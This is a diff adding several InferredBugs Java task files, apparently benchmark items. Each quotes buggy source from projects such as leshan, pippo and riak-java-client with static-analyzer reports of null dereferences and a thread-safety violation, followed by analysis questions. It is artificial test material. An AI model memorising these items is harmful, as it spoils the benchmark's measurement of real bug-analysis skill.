+    Package getPackage(final String name) {
+        List<LocalLoader> loaders = getPathsUnchecked(false).get(name.replace('.', '/'));
+        if (loaders != null) for (LocalLoader localLoader : loaders) {
+            Package pkg = localLoader.loadPackageLocal(name);
+            if (pkg != null) return pkg;
+        }
+        return null;
+    }
+
+    Package[] getPackages() {
+        final ArrayList<Package> packages = new ArrayList<Package>();
+        final Map<String, List<LocalLoader>> allPaths = getPathsUnchecked(false);
+        next: for (String path : allPaths.keySet()) {
+            String packageName = path.replace('/', '.');
+            for (LocalLoader loader : allPaths.get(path)) {
+                Package pkg = loader.loadPackageLocal(packageName);
+                if (pkg != null) {
+                    packages.add(pkg);
+                }
+                continue next;
+            }
+        }
+        return packages.toArray(new Package[packages.size()]);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.jboss.modules.Module.linkIfNecessary` indirectly writes to field `table.[_]` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Module.linkIfNecessary()
+
+### Procedure Id:
+org.jboss.modules.Module.linkIfNecessary():void.7b13ae6ecd7c0744a8d922aafe73910e
+
+### File:
+src/main/java/org/jboss/modules/Module.java
+
+### Key:
+Module.java|linkIfNecessary|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+30e8b5c24ac362a9804b5b1fd4c7660b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9810/instruction.md b/inferredbugs-9810/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..174f8ceb6da0916fd49963273258263cb9f3ddea
--- /dev/null
+++ b/inferredbugs-9810/instruction.md
@@ -0,0 +1,407 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** leshan
+**Bug ID:** 25
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (c) 2015 Sierra Wireless and others.
+ * 
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * and Eclipse Distribution License v1.0 which accompany this distribution.
+ * 
+ * The Eclipse Public License is available at
+ *    http://www.eclipse.org/legal/epl-v10.html
+ * and the Eclipse Distribution License is available at
+ *    http://www.eclipse.org/org/documents/edl-v10.html.
+ *
+ * Contributors:
+ *     Sierra Wireless - initial API and implementation
+ *     Achim Kraus (Bosch Software Innovations GmbH) - use ServerIdentity
+ *     Achim Kraus (Bosch Software Innovations GmbH) - implement REPLACE/UPDATE
+ *******************************************************************************/
+package org.eclipse.leshan.client.resource;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+import org.eclipse.leshan.LwM2mId;
+import org.eclipse.leshan.client.request.ServerIdentity;
+import org.eclipse.leshan.client.servers.ServersInfoExtractor;
+import org.eclipse.leshan.core.model.ObjectModel;
+import org.eclipse.leshan.core.node.LwM2mObject;
+import org.eclipse.leshan.core.node.LwM2mObjectInstance;
+import org.eclipse.leshan.core.node.LwM2mPath;
+import org.eclipse.leshan.core.node.LwM2mResource;
+import org.eclipse.leshan.core.request.BootstrapDeleteRequest;
+import org.eclipse.leshan.core.request.BootstrapWriteRequest;
+import org.eclipse.leshan.core.request.ContentFormat;
+import org.eclipse.leshan.core.request.CreateRequest;
+import org.eclipse.leshan.core.request.DeleteRequest;
+import org.eclipse.leshan.core.request.DownlinkRequest;
+import org.eclipse.leshan.core.request.ExecuteRequest;
+import org.eclipse.leshan.core.request.ObserveRequest;
+import org.eclipse.leshan.core.request.ReadRequest;
+import org.eclipse.leshan.core.request.WriteRequest;
+import org.eclipse.leshan.core.request.WriteRequest.Mode;
+import org.eclipse.leshan.core.response.BootstrapDeleteResponse;
+import org.eclipse.leshan.core.response.BootstrapWriteResponse;
+import org.eclipse.leshan.core.response.CreateResponse;
+import org.eclipse.leshan.core.response.DeleteResponse;
+import org.eclipse.leshan.core.response.ExecuteResponse;
+import org.eclipse.leshan.core.response.ObserveResponse;
+import org.eclipse.leshan.core.response.ReadResponse;
+import org.eclipse.leshan.core.response.WriteResponse;
+
+public class ObjectEnabler extends BaseObjectEnabler {
+
+    private Map<Integer, LwM2mInstanceEnabler> instances;
+    private LwM2mInstanceEnablerFactory instanceFactory;
+    private ContentFormat defaultContentFormat;
+
+    public ObjectEnabler(int id, ObjectModel objectModel, Map<Integer, LwM2mInstanceEnabler> instances,
+            LwM2mInstanceEnablerFactory instanceFactory, ContentFormat defaultContentFormat) {
+        super(id, objectModel);
+        this.instances = new HashMap<>(instances);
+        this.instanceFactory = instanceFactory;
+        this.defaultContentFormat = defaultContentFormat;
+        for (Entry<Integer, LwM2mInstanceEnabler> entry : this.instances.entrySet()) {
+            addInstance(entry.getKey(), entry.getValue());
+        }
+    }
+
+    @Override
+    public synchronized List<Integer> getAvailableInstanceIds() {
+        List<Integer> ids = new ArrayList<>(instances.keySet());
+        Collections.sort(ids);
+        return ids;
+    }
+
+    @Override
+    public synchronized List<Integer> getAvailableResourceIds(int instanceId) {
+        LwM2mInstanceEnabler instanceEnabler = instances.get(instanceId);
+        if (instanceEnabler != null) {
+            return instanceEnabler.getAvailableResourceIds(getObjectModel());
+        } else {
+            return Collections.emptyList();
+        }
+    }
+
+    public synchronized void addInstance(int instanceId, LwM2mInstanceEnabler newInstance) {
+        instances.put(instanceId, newInstance);
+        listenInstance(newInstance, instanceId);
+    }
+
+    public synchronized LwM2mInstanceEnabler getInstance(int instanceId) {
+        return instances.get(instanceId);
+    }
+
+    public synchronized LwM2mInstanceEnabler removeInstance(int instanceId) {
+        return instances.remove(instanceId);
+    }
+
+    @Override
+    protected CreateResponse doCreate(ServerIdentity identity, CreateRequest request) {
+        Integer instanceId = request.getInstanceId(); // instanceId CAN be NULL
+
+        // check instance id is valid
+        if (instanceId != null) {
+            if (instances.containsKey(instanceId)) {
+                return CreateResponse.badRequest("Target already exists");
+            }
+            if (!getObjectModel().multiple && instanceId != 0) {
+                return CreateResponse.badRequest("id must be 0 for single instance");
+            }
+        } else {
+            // default 0 instance id for single instance object
+            if (!getObjectModel().multiple) {
+                instanceId = 0;
+            }
+        }
+
+        // create the new instance
+        LwM2mInstanceEnabler newInstance = instanceFactory.create(getObjectModel(), instanceId, instances.keySet());
+
+        // add/write resource
+        for (LwM2mResource resource : request.getResources()) {
+            newInstance.write(identity, resource.getId(), resource);
+        }
+
+        // add new instance to this object
+        instances.put(newInstance.getId(), newInstance);
+        listenInstance(newInstance, newInstance.getId());
+
+        return CreateResponse.success(new LwM2mPath(request.getPath().getObjectId(), newInstance.getId()).toString());
+    }
+
+    @Override
+    protected ReadResponse doRead(ServerIdentity identity, ReadRequest request) {
+        LwM2mPath path = request.getPath();
+
+        // Manage Object case
+        if (path.isObject()) {
+            List<LwM2mObjectInstance> lwM2mObjectInstances = new ArrayList<>();
+            for (LwM2mInstanceEnabler instance : instances.values()) {
+                ReadResponse response = instance.read(identity);
+                if (response.isSuccess()) {
+                    lwM2mObjectInstances.add((LwM2mObjectInstance) response.getContent());
+                }
+            }
+            return ReadResponse.success(new LwM2mObject(getId(), lwM2mObjectInstances));
+        }
+
+        // Manage Instance case
+        LwM2mInstanceEnabler instance = instances.get(path.getObjectInstanceId());
+        if (instance == null)
+            return ReadResponse.notFound();
+
+        if (path.getResourceId() == null) {
+            return instance.read(identity);
+        }
+
+        // Manage Resource case
+        return instance.read(identity, path.getResourceId());
+    }
+
+    @Override
+    protected ObserveResponse doObserve(final ServerIdentity identity, final ObserveRequest request) {
+        final LwM2mPath path = request.getPath();
+
+        // Manage Object case
+        if (path.isObject()) {
+            List<LwM2mObjectInstance> lwM2mObjectInstances = new ArrayList<>();
+            for (LwM2mInstanceEnabler instance : instances.values()) {
+                ReadResponse response = instance.observe(identity);
+                if (response.isSuccess()) {
+                    lwM2mObjectInstances.add((LwM2mObjectInstance) response.getContent());
+                }
+            }
+            return ObserveResponse.success(new LwM2mObject(getId(), lwM2mObjectInstances));
+        }
+
+        // Manage Instance case
+        final LwM2mInstanceEnabler instance = instances.get(path.getObjectInstanceId());
+        if (instance == null)
+            return ObserveResponse.notFound();
+
+        if (path.getResourceId() == null) {
+            return instance.observe(identity);
+        }
+
+        // Manage Resource case
+        return instance.observe(identity, path.getResourceId());
+    }
+
+    @Override
+    protected WriteResponse doWrite(ServerIdentity identity, WriteRequest request) {
+        LwM2mPath path = request.getPath();
+
+        // Manage Instance case
+        LwM2mInstanceEnabler instance = instances.get(path.getObjectInstanceId());
+        if (instance == null)
+            return WriteResponse.notFound();
+
+        if (path.isObjectInstance()) {
+            return instance.write(identity, request.isReplaceRequest(), (LwM2mObjectInstance) request.getNode());
+        }
+
+        // Manage Resource case
+        return instance.write(identity, path.getResourceId(), (LwM2mResource) request.getNode());
+    }
+
+    @Override
+    protected BootstrapWriteResponse doWrite(ServerIdentity identity, BootstrapWriteRequest request) {
+        LwM2mPath path = request.getPath();
+
+        // Manage Object case
+        if (path.isObject()) {
+            for (LwM2mObjectInstance instanceNode : ((LwM2mObject) request.getNode()).getInstances().values()) {
+                LwM2mInstanceEnabler instanceEnabler = instances.get(instanceNode.getId());
+                if (instanceEnabler == null) {
+                    doCreate(identity, new CreateRequest(path.getObjectId(), instanceNode));
+                } else {
+                    doWrite(identity, new WriteRequest(Mode.REPLACE, path.getObjectId(), path.getObjectInstanceId(),
+                            instanceNode.getResources().values()));
+                }
+            }
+            return BootstrapWriteResponse.success();
+        }
+
+        // Manage Instance case
+        if (path.isObjectInstance()) {
+            LwM2mObjectInstance instanceNode = (LwM2mObjectInstance) request.getNode();
+            LwM2mInstanceEnabler instanceEnabler = instances.get(path.getObjectInstanceId());
+            if (instanceEnabler == null) {
+                doCreate(identity, new CreateRequest(path.getObjectId(), instanceNode));
+            } else {
+                doWrite(identity, new WriteRequest(Mode.REPLACE, request.getContentFormat(), path.getObjectId(),
+                        path.getObjectInstanceId(), instanceNode.getResources().values()));
+            }
+            return BootstrapWriteResponse.success();
+        }
+
+        // Manage resource case
+        LwM2mResource resource = (LwM2mResource) request.getNode();
+        LwM2mInstanceEnabler instanceEnabler = instances.get(path.getObjectInstanceId());
+        if (instanceEnabler == null) {
+            doCreate(identity, new CreateRequest(path.getObjectId(),
+                    new LwM2mObjectInstance(path.getObjectInstanceId(), resource)));
+        } else {
+            instanceEnabler.write(identity, path.getResourceId(), resource);
+        }
+        return BootstrapWriteResponse.success();
+    }
+
+    @Override
+    protected ExecuteResponse doExecute(ServerIdentity identity, ExecuteRequest request) {
+        LwM2mPath path = request.getPath();
+        LwM2mInstanceEnabler instance = instances.get(path.getObjectInstanceId());
+        if (instance == null) {
+            return ExecuteResponse.notFound();
+        }
+        return instance.execute(identity, path.getResourceId(), request.getParameters());
+    }
+
+    @Override
+    protected DeleteResponse doDelete(ServerIdentity identity, DeleteRequest request) {
+        LwM2mInstanceEnabler deletedInstance = instances.remove(request.getPath().getObjectInstanceId());
+        if (deletedInstance != null) {
+            deletedInstance.onDelete(identity);
+            return DeleteResponse.success();
+        }
+        return DeleteResponse.notFound();
+    }
+
+    @Override
+    public BootstrapDeleteResponse doDelete(ServerIdentity identity, BootstrapDeleteRequest request) {
+        if (request.getPath().isRoot() || request.getPath().isObject()) {
+            if (id == LwM2mId.SECURITY) {
+                // For security object, we clean everything except bootstrap Server account.
+                Entry<Integer, LwM2mInstanceEnabler> bootstrapServerAccount = null;
+                for (Entry<Integer, LwM2mInstanceEnabler> instance : instances.entrySet()) {
+                    if (ServersInfoExtractor.isBootstrapServer(instance.getValue())) {
+                        bootstrapServerAccount = instance;
+                    }
+                }
+                instances.clear();
+                if (bootstrapServerAccount != null) {
+                    instances.put(bootstrapServerAccount.getKey(), bootstrapServerAccount.getValue());
+                }
+                return BootstrapDeleteResponse.success();
+            } else {
+                instances.clear();
+                return BootstrapDeleteResponse.success();
+            }
+        } else if (request.getPath().isObjectInstance()) {
+            if (id == LwM2mId.SECURITY) {
+                // For security object, deleting bootstrap Server account is not allowed
+                LwM2mInstanceEnabler instance = instances.get(request.getPath().getObjectInstanceId());
+                if (ServersInfoExtractor.isBootstrapServer(instance)) {
+                    return BootstrapDeleteResponse.badRequest("bootstrap server can not be deleted");
+                }
+            }
+            if (null != instances.remove(request.getPath().getObjectInstanceId())) {
+                return BootstrapDeleteResponse.success();
+            } else {
+                return BootstrapDeleteResponse.badRequest(String.format("Instance %s not found", request.getPath()));
+            }
+        }
+        return BootstrapDeleteResponse.badRequest(String.format("unexcepted path %s", request.getPath()));
+    }
+
+    private void listenInstance(LwM2mInstanceEnabler instance, final int instanceId) {
+        instance.addResourceChangedListener(new ResourceChangedListener() {
+
+            @Override
+            public void resourcesChanged(int... resourceIds) {
+                NotifySender sender = getNotifySender();
+                if (null != sender) {
+                    // check, if sender is available
+                    sender.sendNotify(getId() + "");
+                    sender.sendNotify(getId() + "/" + instanceId);
+                    for (int resourceId : resourceIds) {
+                        sender.sendNotify(getId() + "/" + instanceId + "/" + resourceId);
+                    }
+                }
+            }
+        });
+    }
+
+    @Override
+    public ContentFormat getDefaultEncodingFormat(DownlinkRequest<?> request) {
+        return defaultContentFormat;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `path.getObjectInstanceId()` could be null and is dereferenced at line 222.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+BootstrapWriteResponse ObjectEnabler.doWrite(ServerIdentity,BootstrapWriteRequest)
+
+### Procedure Id:
+org.eclipse.leshan.client.resource.ObjectEnabler.doWrite(org.eclipse.leshan.client.request.ServerIde.0f78ce50283d201e03089de82b4b6e02
+
+### File:
+leshan-client-core/src/main/java/org/eclipse/leshan/client/resource/ObjectEnabler.java
+
+### Key:
+ObjectEnabler.java|doWrite|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+5b038b7525cc8ac039923e81109d254e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9819/instruction.md b/inferredbugs-9819/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..90da9f94cbd57945bf591d96d48e4a39a9dafc4f
--- /dev/null
+++ b/inferredbugs-9819/instruction.md
@@ -0,0 +1,207 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pippo
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package ro.pippo.session.xmemcached;
+
+import java.io.IOException;
+import net.rubyeye.xmemcached.MemcachedClient;
+import org.junit.AfterClass;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import org.junit.BeforeClass;
+import org.junit.Ignore;
+import org.junit.Test;
+import ro.pippo.core.Application;
+import ro.pippo.session.SessionData;
+
+/**
+ * @author Herman Barrantes
+ */
+@Ignore("You need run MemCached localy")
+public class XmemcachedSessionDataStorageTest {
+
+    private static final String KEY = "KEY";
+    private static final String VALUE = "VALUE";
+    private static final int IDLE_TIME = 1;
+    private static Application application;
+    private static MemcachedClient client;
+
+    @BeforeClass
+    public static void setUpClass() {
+        application = new Application();
+        client = XmemcachedFactory.create(application.getPippoSettings());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws IOException {
+        client.shutdown();
+    }
+
+    /**
+     * Test of create method, of class XmemcachedSessionDataStorage.
+     */
+    @Test
+    public void testCreate() {
+        System.out.println("create");
+        XmemcachedSessionDataStorage instance = new XmemcachedSessionDataStorage(client, IDLE_TIME);
+        SessionData sessionData = instance.create();
+        sessionData.setAttribute(KEY, VALUE);
+        assertNotNull(sessionData);
+        assertNotNull(sessionData.getId());
+        assertNotNull(sessionData.getCreationTime());
+        assertEquals(sessionData.getAttribute(KEY), VALUE);
+    }
+
+    /**
+     * Test of save method, of class XmemcachedSessionDataStorage.
+     */
+    @Test
+    public void testSave() {
+        System.out.println("save");
+        XmemcachedSessionDataStorage instance = new XmemcachedSessionDataStorage(client, IDLE_TIME);
+        SessionData sessionData = instance.create();
+        String sessionId = sessionData.getId();
+        sessionData.setAttribute(KEY, VALUE);
+        instance.save(sessionData);
+        SessionData saved = instance.get(sessionId);
+        assertEquals(sessionData, saved);
+        assertEquals(sessionData.getAttribute(KEY), saved.getAttribute(KEY));
+    }
+
+    /**
+     * Test of get method, of class XmemcachedSessionDataStorage.
+     */
+    @Test
+    public void testGet() {
+        System.out.println("get");
+        XmemcachedSessionDataStorage instance = new XmemcachedSessionDataStorage(client, IDLE_TIME);
+        SessionData sessionData = instance.create();
+        String sessionId = sessionData.getId();
+        sessionData.setAttribute(KEY, VALUE);
+        instance.save(sessionData);
+        SessionData saved = instance.get(sessionId);
+        assertEquals(sessionData, saved);
+        assertEquals(sessionData.getAttribute(KEY), saved.getAttribute(KEY));
+    }
+
+    /**
+     * Test of get method, of class XmemcachedSessionDataStorage.
+     * @throws java.lang.InterruptedException
+     */
+    @Test
+    public void testGetExpired() throws InterruptedException {
+        System.out.println("get expired");
+        XmemcachedSessionDataStorage instance = new XmemcachedSessionDataStorage(client, IDLE_TIME);
+        SessionData sessionData = instance.create();
+        String sessionId = sessionData.getId();
+        sessionData.setAttribute(KEY, VALUE);
+        instance.save(sessionData);
+        Thread.sleep(2000L); // 2seconds
+        SessionData deleted = instance.get(sessionId);
+        assertNull(deleted);
+    }
+
+    /**
+     * Test of delete method, of class XmemcachedSessionDataStorage.
+     */
+    @Test
+    public void testDelete() {
+        System.out.println("delete");
+        XmemcachedSessionDataStorage instance = new XmemcachedSessionDataStorage(client, IDLE_TIME);
+        SessionData sessionData = instance.create();
+        String sessionId = sessionData.getId();
+        sessionData.setAttribute(KEY, VALUE);
+        instance.save(sessionData);
+        instance.delete(sessionId);
+        SessionData deleted = instance.get(sessionId);
+        assertNull(deleted);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `ro.pippo.session.xmemcached.XmemcachedSessionDataStorageTest.application.getPippoSettings()` could be null and is dereferenced by call to `create(...)` at line 45.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void XmemcachedSessionDataStorageTest.setUpClass()
+
+### Procedure Id:
+ro.pippo.session.xmemcached.XmemcachedSessionDataStorageTest.setUpClass():void.ab454ec1134d97890581a69bb1e0a570
+
+### File:
+pippo-session-parent/pippo-session-xmemcached/src/test/java/ro/pippo/session/xmemcached/XmemcachedSessionDataStorageTest.java
+
+### Key:
+XmemcachedSessionDataStorageTest.java|setUpClass|NULL_DEREFERENCE
+
+### Node Key:
+265ba86214678cae77b0c9ab2eedcb6d
+
+### Hash:
+d8e92666f781dde37881d23d0572e289
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9821/instruction.md b/inferredbugs-9821/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a3b8295a30065bb6d912489a63d95194e89902db
--- /dev/null
+++ b/inferredbugs-9821/instruction.md
@@ -0,0 +1,597 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riak-java-client
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is provided to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package com.basho.riak.client.bucket;
+
+import java.util.Collection;
+import java.util.concurrent.Callable;
+
+import com.basho.riak.client.RiakRetryFailedException;
+import com.basho.riak.client.builders.BucketPropertiesBuilder;
+import com.basho.riak.client.cap.Quora;
+import com.basho.riak.client.cap.Retrier;
+import com.basho.riak.client.http.util.Constants;
+import com.basho.riak.client.operations.RiakOperation;
+import com.basho.riak.client.query.functions.NamedErlangFunction;
+import com.basho.riak.client.query.functions.NamedFunction;
+import com.basho.riak.client.raw.RawClient;
+import com.basho.riak.client.raw.Transport;
+
+/**
+ * A {@link RiakOperation} for creating/updating a {@link Bucket}.
+ * 
+ * <p>
+ * This class is a fluid builder for creating a {@link RiakOperation} that sets
+ * bucket properties on a bucket in Riak. It delegates to a
+ * {@link BucketPropertiesBuilder} then uses its {@link RawClient} and
+ * {@link Retrier} to set the bucket properties in Riak.
+ * </p>
+ * <p>
+ * NOTE: all the parameters on the builder are optional. If omitted then the
+ * Riak defaults will be used. Also, very few of these properties are supported
+ * by both underlying APIs at present. They are here for completeness sake.
+ * Changes are underway to support all the properties. Check the docs for the
+ * individual parameters to see what is supported.
+ * </p>
+ * 
+ * @author russell
+ * 
+ */
+public class WriteBucket implements RiakOperation<Bucket> {
+
+    private final RawClient client;
+    private Retrier retrier;
+    private String name;
+    private final Collection<NamedFunction> existingPrecommitHooks;
+
+    private BucketPropertiesBuilder builder = new BucketPropertiesBuilder();
+
+    /**
+     * Create WriteBucket operation that delegates to the given {@link RawClient} via the give {@link Retrier}.
+     * @param client the {@link RawClient} to delegate to
+     * @param name the name of the bucket to create/update
+     * @param retrier the {@link Retrier} to use
+     */
+    public WriteBucket(final RawClient client, String name, final Retrier retrier) {
+        this.name = name;
+        this.client = client;
+        this.retrier = retrier;
+        this.existingPrecommitHooks = null;
+    }
+
+    /**
+     * Create WriteBucket operation that delegates to the given
+     * {@link RawClient} via the give {@link Retrier}.
+     * 
+     * @param client
+     *            the {@link RawClient} to delegate to
+     * @param bucket
+     *            the bucket to update
+     * @param retrier
+     *            the {@link Retrier} to use
+     */
+    public WriteBucket(final RawClient client, Bucket bucket, final Retrier retrier) {
+        this.name = bucket.getName();
+        this.client = client;
+        this.retrier = retrier;
+        this.existingPrecommitHooks = bucket.getPrecommitHooks();
+    }
+
+    /**
+     * Creates/updates a Bucket in Riak with the set of properties configured.
+     * @return the {@link Bucket}
+     */
+    public Bucket execute() throws RiakRetryFailedException {
+        final BucketProperties propsToStore = builder.build();
+
+        retrier.attempt(new Callable<Void>() {
+            public Void call() throws Exception {
+                client.updateBucket(name, propsToStore);
+                return null;
+            }
+        });
+
+        BucketProperties properties = retrier.attempt(new Callable<BucketProperties>() {
+            public BucketProperties call() throws Exception {
+                return client.fetchBucket(name);
+            }
+        });
+
+        return new DefaultBucket(name, properties, client, retrier);
+    }
+
+    /**
+     * Should the bucket have allow_mult set to true?
+     * @param allowSiblings
+     * @return this
+     */
+    public WriteBucket allowSiblings(boolean allowSiblings) {
+        builder.allowSiblings(allowSiblings);
+        return this;
+    }
+
+    /**
+     * Is this bucket last_write_wins?
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport.
+     * @param lastWriteWins
+     * @return this
+     */
+    public WriteBucket lastWriteWins(boolean lastWriteWins) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_LAST_WRITE_WINS);
+        builder.lastWriteWins(lastWriteWins);
+        return this;
+    }
+
+    /**
+     * The n_val for this bucket
+     * @param nVal
+     * @return this
+     */
+    public WriteBucket nVal(int nVal) {
+        builder.nVal(nVal);
+        return this;
+    }
+
+    /**
+     * Which backend this bucket uses.
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param backend
+     * @return this
+     */
+    public WriteBucket backend(String backend) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_BACKEND);
+        builder.backend(backend);
+        return this;
+    }
+
+    /**
+     * A Collection of precommit hooks for this bucket
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param precommitHooks
+     * @return
+     */
+    public WriteBucket precommitHooks(Collection<NamedFunction> precommitHooks) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PRECOMMIT);
+        builder.precommitHooks(precommitHooks);
+        return this;
+    }
+
+    /**
+     * Add a precommit hook to the Collection of hooks to be written.
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param preCommitHook
+     * @return this
+     */
+    public WriteBucket addPrecommitHook(NamedFunction preCommitHook) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PRECOMMIT);
+        builder.addPrecommitHook(preCommitHook);
+        return this;
+    }
+
+    /**
+     * Add a collection of postcommit hooks to the bucket to be written.
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param postCommitHooks
+     * @return
+     */
+    public WriteBucket postcommitHooks(Collection<NamedErlangFunction> postCommitHooks) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_POSTCOMMIT);
+        builder.postcommitHooks(postCommitHooks);
+        return this;
+    }
+
+    /**
+     * Add a postcommit hook to the Collection of post commit hooks for the bucket to written.
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param postcommitHook
+     * @return
+     */
+    public WriteBucket addPostcommitHook(NamedErlangFunction postcommitHook) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_POSTCOMMIT);
+        builder.addPostcommitHook(postcommitHook);
+        return this;
+    }
+
+    /**
+     * Set the chash_key_fun on the bucket to be written
+     * NOTE: at present this is not supported by the PB API and has no effect for that client.
+     * @param chashKeyFunction
+     * @return
+     */
+    public WriteBucket chashKeyFunction(NamedErlangFunction chashKeyFunction) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_CHASHFUN);
+        builder.chashKeyFunction(chashKeyFunction);
+        return this;
+    }
+
+    /**
+     * Set the link_walk_fun used by Riak on the bucket to be written.
+     * NOTE: at present this is not supported by the PB API and has no effect for that client.
+     * @param linkWalkFunction
+     * @return
+     */
+    public WriteBucket linkWalkFunction(NamedErlangFunction linkWalkFunction) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_LINKFUN);
+        builder.linkWalkFunction(linkWalkFunction);
+        return this;
+    }
+
+    /**
+     * set the small vclock prune size
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param smallVClock
+     * @return
+     */
+    public WriteBucket smallVClock(int smallVClock) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_SMALL_VCLOCK);
+        builder.smallVClock(smallVClock);
+        return this;
+    }
+
+    /**
+     * set the big_vclock prune size
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param bigVClock
+     * @return
+     */
+    public WriteBucket bigVClock(int bigVClock) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_BIG_VCLOCK);
+        builder.bigVClock(bigVClock);
+        return this;
+    }
+
+    /**
+     * set the young_vclock prune age
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
